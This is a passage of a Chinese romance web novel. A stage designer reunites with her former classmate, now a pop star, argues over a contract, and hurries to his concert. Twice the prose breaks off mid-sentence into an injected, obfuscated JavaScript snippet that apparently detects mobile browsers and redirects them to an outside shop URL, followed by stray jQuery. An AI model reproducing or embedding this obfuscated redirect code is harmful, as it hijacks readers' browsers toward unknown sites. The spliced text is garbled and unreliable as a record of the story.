仿佛他往那儿一站便自成漩涡,一切目光都被吸引。
云缇暗暗不解。
为什么这么张扬的人,反而没人讨厌他?
哪怕老师总责骂,也并非真的厌烦他,甚至每周一次的升旗仪式,也会钦点他站在最显眼的位置。
张扬肆意、棱角分明,所有人却心甘情愿为他让步。
为什么呢?
云缇站在人群中,仰头看他。
她直直地盯着他,企图找到一个说服自己的理由。
国旗在季煦礼上方飘,红色映着他的侧脸,少年脸上没有被选为旗手的庄重和骄傲,反倒显出几分漫不经心。但就是这样一个人,升旗时手腕比谁都稳,卡着国歌结束的瞬间让国旗升至顶点,节奏准得像心里装了节拍器。
他松开摇杆,退后一步,和其他人一起面向旗杆站好,退的那一步有点儿随意,脚后跟先离地,脚尖在地上蹭了一下。
队伍开始移动,有哨声响起,每个班按顺序往教学楼走。人群像潮水一样涌动,云缇被推着往前走了几步。
踉跄间,她再次回头。
季煦礼正站在升旗台上,懒散地和身旁的人说话,目光从正在涌动的人群上方扫过。
或许只是云缇的错觉。
有一瞬间,他们的目光撞在了一起。
但少年很快便轻飘飘移开了目光。
不等她反应,他又悠悠转眸,再次朝她看来。
云缇尚未放松的心再次提起来。
明明隔着几十米的距离,隔着涌动的人群,她却在阳光的缝隙中看清了对方的微表情。
季煦礼眨了下眼。
带着那股一贯的懒洋洋的、什么都不在乎的劲儿,他幅度很小地牵起唇角笑。
然后,少年启唇。
隔得太远,声音传不过来,他口型做得很慢,一个字一个字,生怕她看不清。
——记、得、还、衣、服。
说罢,他又提了下唇角,随后和身旁的男生勾肩搭背地离开,后脑勺的头发翘着,在阳光中一晃一晃。
身后的人不耐烦地催促,云缇慌乱地回头,快步往前走。
她走在两千个人中,和高一所有人穿着一样的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489049|202144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
校服,走一样的路,没有人会多看她一眼。
而他不管走到哪里,都会被看见。
可是这样耀眼的人,竟然一眼就认出了和他仅有一面之缘的陌生人。
云缇攥着校服下摆。
她好像有点儿明白,为什么在季煦礼站在国旗下的那几分钟,会有那么多双眼睛看他了。
有人在一旁推了她一把。
云缇慢半拍地回过神。
场馆内的灯光重新变得刺眼,周围的工作人员正在收拾东西,线缆一圈一圈收起来,设备箱的盖子一个接一个地盖上。
推她的是Jessica。
Jessica皱眉看着她:“想什么呢,老板叫你好几声了。”
云缇木木地顺着Jessica指的方向看过去。
被人簇拥在中心的那个青年单手插兜,手臂搭着调音台,帽檐下那双桃花眼正安静地望着她。
没有方才站在台上朝她望过来的那一眼那么复杂。
也不像从两千人里辨出她那么深。
只剩下公事公办的冷淡。
所有人的目光都在她身上。
云缇迈步走过去。
场馆嘈杂,有人在喊“三号通道清理一下”,鼓风机嗡地转响又停止。但这些声音都退到很远的地方,像褪去的潮水,在她和他之间留出一条干净的通道。
而季煦礼的视线没有动过。
他只是稳稳地、安静地看着她朝自己走来。
云缇在他面前停住脚步,低低喊了声“煦哥”。
青年保持着放松又懒散的姿态,视线始终没有从她脸上移开。
他脸上因为发烧而产生的薄红还未褪去,只是被帽檐投下的阴影藏进黑暗里。
“你还没有正式签这次工作的合同?”
云缇从他的眼睛里望不见自己的倒影。
她不自觉抿唇,避开他的视线,应了一声。
“薪资和工作内容Jessica会和你说清楚的。”季煦礼看了眼拿着笔记本的小张,小张立马翻到最新一页等着。他没有看小张的笔记本,而是转回头看她。
“你协调一下,把未来几个月的时间都空出来。”他的语速比刚才快一些,像在处理一件必须处理的工作,用不容置喙的语气,“之后几场舞台设计你也要跟。”
云缇本身现在就只有这一个工作需要负责,不假思索就答应下来:“好的。”
青年看着她,没有立刻接话。
周围的工作人员已经自顾自地忙起来,只有她周围的一小片空气安静得不太自然。
季煦礼拉了下帽檐,眸光一闪,眼底有所起伏。
那层东西很薄,薄到几乎看不见,像水面被轻飘飘的柳絮碰了一下,涟漪还没有来得及荡开,就已归于平静。
“云小姐,”他终于开口,声音比之前更低,没有任何重音,咬字清晰得像是在念一件想过千万遍的事,“介于本团队先前的经历,合同里会明确规定——”
男声停了一瞬。
停顿转瞬即逝,短到一旁的小张都没有抬头,只有站在他正对面的云缇敏锐地察觉到时间流速的不同。
“我不接受任何形式的毁约。”
13. 第 13 章
闻言,小张握着的笔压在纸上,没有往上写。
先前团队里有设计师临时离职的事情,云缇是知道的。
“煦哥放心。”她说,“我会认真完成工作的。”
年轻男人看着她,嘴角轻轻动了下。牵起的幅度太小,一晃而过,让人不确定是否眼花。
不等他说话,云缇紧接着说道:“不过我是新人,有些事儿不太懂,还是提前问清楚比较好。”
季煦礼淡然颔首,摆出洗耳恭听的姿态。
“目前我是由FG劳务派遣至贵公司,负责您的舞台设计工作。因为与FG的劳动关系还在,暂时也没有变动打算,所以这次的新合同我就不签署了。”云缇语速很慢,面上扬起客气的微笑,“您看可以吗?”
逆向派遣的违法合同不能签。
她很爱惜自己的工作名誉。
“……”
季煦礼似笑非笑地看着她,没有立刻接话。
调音台上的指示灯还在闪烁。
就在云缇以为他会甩脸离开时,青年直起身子,往她的方向走了一步。
她警觉地向后退,才发现季煦礼的动作并非向她靠近。
只是移了下重心,由倚靠的姿势变为站立的姿势,正好让他的影子从调音台的灯光下投过来,悄然落在她的脚边。
季煦礼把她躲避的动作看在眼里,目光如有实质地从她面上滑过,唇角的弧度扩大,弯出一个明显的弧度。
“倒是我考虑不周了。”他懒散地开口,声音不高不低,“可没有合同,我该如何相信云小姐的承诺?”
云缇维持笑容,闪烁的眸色和替换的称呼却暴露出她的不满:“季老师,就算没有合同,你们也没有损失。我人在这里,项目做完再结款就是了。”
“人在这里”四个字被她刻意咬重。
季煦礼端详她的神情,忽地轻哂一声,微微歪头,像是在思忖她方才的话,慢吞吞地说道,“那云小姐的意思是……没有筹码,全凭双方信任?”
旁边的小张抬头看了季煦礼一眼,又瞧了眼云缇,欲言又止。
云缇彻底没了笑。
“想必贵公司也是信任FG才会在危机时刻向我们求助。”她不卑不亢道,“如果季老师实在心有顾虑,我非常理解,愿意现在退出,再为季老师推荐FG其他优秀的设计师。”
说完,她直视季煦礼的眼睛,坦然接受他的审视,等待一个确切的答复。
场馆因为工作人员的调试有断断续续的响动,她最后几个音节正好被卷进噪音里。
可是透过青年深深的漆眸,云缇确定,他肯定听见了。
“找别人?”
季煦礼意味不明地吐出这三个字。
旁边的灯光师在调最后一组参数,推子上下推了两下,发出极轻的摩擦声。
青年手指应声动了动,在调音台台面上虚虚地敲了下,又在指节即将触碰到台面的瞬间,他生生扼住了自己的动作,没有发出任何声响。
他漠然望着她,在确认什么似的。
青年清隽的五官在交错的灯光中明明灭灭,深色的瞳孔正好掩在黑暗中,遮掩住万千情绪。
云缇迎着他的目光,安静等待。
也许过了半晌。
也许只过了须臾。
季煦礼终于慢悠悠地收回目光。
动作慢到,她的视线正好来得及从他眸里滑过去。
“不必麻烦了。”季煦礼慢条斯理地理了下衣服,从她身侧迈步离开,“后面几个月辛苦云小姐吧。”
云缇站在原地没有动。
和她擦肩而过的瞬间,季煦礼的步子无声收窄。
他没有侧头,肩膀和她保持着一拳的距离,正常路过的尺度,不多也不少。
“那么,明天早上见。”他在她耳边缓声道,“云缇。”
出其不意地在她耳边叫出了她的名字。
云缇只觉得这人古怪。
情绪难辨,语气也阴晴不定。
她回过头,注视着他离开的背影。
青年比高中时还要高些,肩膀看起来更加挺括,肩胛骨的轮廓从T恤里透出来,薄薄的两片。
很快,她就垂下眼。
这样的背影……
陌生的成分,已经比熟悉的成分要更多了。
///
虽然季煦礼说着明天见,但其实之后一连好几天,云缇都没再看见他。
听其他工作人员说,季煦礼又飞去其他省市拍通告了。
即便确定了演唱会这个重要行程,其他商务通告也得继续,在正式开场前,他还是很忙。
反观云缇倒是清闲下来。
演唱会首场的舞台设计算是圆满结束,在演出结束、去往下一站搭台之前都属于休假时间,Jessica也没拘着他们,让他们在北楦好好玩。
云缇先前从没来过北楦,借着这个机会,把最出名的景点都走了一遍。
每到一个地方,她便举起手机随便拍拍,不知不觉间,手机竟也多出了上百张照片。
回到酒店,她翻看着这几天相册里多出的风景照,心情是前所未有的放松。
然而这样安逸的氛围持续不过片刻,就被一则突如其来的短信打破。
【云云,你在北楦?】
上次忘了拉黑,这次用的还是上次的号码。
云缇毫不犹豫,面无表情地将这个号码拉黑。
甚至懒得多看一眼。
下一秒,手机又嗡嗡震动起来。
本以为是那人又换了号码继续骚扰,正想继续拉黑,却发现来电人显示的是Jessica。
她赶紧从床上坐起,收拾好心情接起。
Jessica没有半句废话,直接吩咐她立刻到场馆来。
云缇早就习惯Jessica雷厉风行的作风,随手抓起一件外套就出了门。
偏偏不凑巧,今天内环格外堵,几百米走了快十分钟。
天尚未彻底黑下来,暮色像一杯搅浑的橘子汽水,橙红和深蓝沿着天际洇开。
她靠在后座,百无聊赖地刷手机。
微博热搜榜挂着季煦礼的名字,后面跟着一个“沸”字。
点进去是粉丝们在晒应援、票根和五湖四海奔赴而来的车票。有一个视频被转载了上万次,是场馆外那片灯牌汇聚而成的橘红色海洋,配文“等待降临”。
云缇这才后知后觉意识到今天是季煦礼演唱会的日子。
前些天过得太松散,全然忘了今夕何夕。
她大概明白了Jessica为什么叫她过去,先前Jessica就提过一嘴,这是她回国后头一次参与设计的舞台,让她来现场亲身体验一下效果如何。
“季煦礼给工作人员留了两张票,我把内场的留给你,够意思吧?”
想起Jessica的话,云缇唇角不自觉上扬,手指在那个视频上停了两秒,忽然升起股与有荣焉的骄傲,半晌才滑过去。
下一条微博是一个默认头像、ID一串字符的账号发布的,转发量不高,但因为带了季煦礼演唱会的tag,所以出现在了广场里。
【还有人记得三年前这个场馆出的事故吗?舞台坍塌,彩排的时候砸伤了六个舞者,演出取消了,主办方赔了不少钱。听说在那之后场馆的舞台结构就一直有问题,修修补补的,不知道这次……呵呵。】
底下评论不多,又喷他乌鸦嘴诅咒人的,也有顺势开始担忧祈祷的,有质疑为什么还要继续在这个场馆
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17489050|202144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
开演唱会的。
云缇手指僵在屏幕上。
三年前她在韩国,对国内的事儿了解不多。
她为此特地去搜索了一番三年前这场事故。
看完新闻报道,她退出微博,熄灭屏幕,深吸一口气。
出租车空调开得太高,她把车窗摇下一条缝,晚风灌进来,扑在她发烫的脸上。
没那么巧。
云缇缓了缓,又再度搜索这个场馆的名字,看到最近半年这儿办过不少大型演出,皆顺利结束。
但她还是隐隐有些不安。
脑子里飞速把舞台设计图纸过了一遍,确定没有任何问题,这多少让她松了口气。
但如果是其他负责的部门出了问题,比如设备故障……
每每遇到这种事,她总是控制不住自己往坏处想。
一定要再三确认,她才会放心。
想给Jessica发消息问问,偏偏没信号,一条信息转了半天都发不出去。
云缇刷新了好几次微信都无果,心情不免愈发焦躁。
“师傅。”她声音比她想象中大一点儿,把司机吓了一跳,“能不能再快一点儿?”
“姑娘,我也没办法,你看着路上堵成什么样了。”
云缇往外看了眼,车流越来越慢,大家都往同一个方向汇拢。
路上的人行道上开始出现三三两两的女生,她们穿着各式各样的衣服,但手里拿着同样的手幅和应援棒。
再低头看看时间,六点十三,距离开场还有四十七分钟。
那些女生脸上的期待和兴奋太近了。
她们可能从几个月前就开始期待,攒了好久的钱,从天南地北赶过来,所有人的爱都系在一个人身上。
如果那个黑粉的恶意揣测成真了呢?
如果那些钢架、那些灯光、那些悬在半空中的设备,真的在某个瞬间——
她不敢再想下去。
指甲陷进掌心,莫名有些喘不上气。
出租车彻底走不动了。
“姑娘,前面堵死了,要不你下来走吧,也没多远了。”司机回过头看她,被她的脸色惊到,“你没事儿吧?怎么脸色这么白?”
云缇没回答,从兜里抽出现金递给他,迅速推开车门往场馆走。
脚踩上柏油路面时崴了一下,她不得不庆幸此刻穿的是板鞋,而不是寸步难行的高跟鞋。
她朝场馆奔跑。
巨大的建筑在黑夜里闪着灯,像沉默的容器,承载着几万人的期待。
云缇提起一口气,准备加速——
“小云。”
一只手横在面前。
她差点儿撞上去,狼狈地刹住脚。
一抬头,是熟悉的脸,卓总的司机孙叔。
孙叔表情谦恭却姿态坚定,像一堵墙挡在她面前。
“卓总说了,今天必须把您接回去。”他语气恳求,肢体语言却很强硬,“小云,你别为难孙叔……”
云缇有些喘,她垂下眼,看向那只横在面前的手。
她没有后退,也没有往前闯。
“孙叔,上次我配合,不代表次次会配合。”她面无表情,“我有事,麻烦让一下。”
云缇绕过孙叔,继续往前走。
孙叔下意识伸手拦她,力道不重,却很紧,似乎终于下定决心,必须把她带回去。
她皱眉,正要挣扎,有人比她更快一步,孙叔的手瞬间从她手臂上消失了。
被人从她手臂上干净利落地拂开,像是挥掉什么脏东西。
力道不大,却极度精准。孙叔手腕被扣住往外一翻,四两拨千斤地卸掉力道,不受控地往后退。
云缇面前空出来。
有人站到了她身前。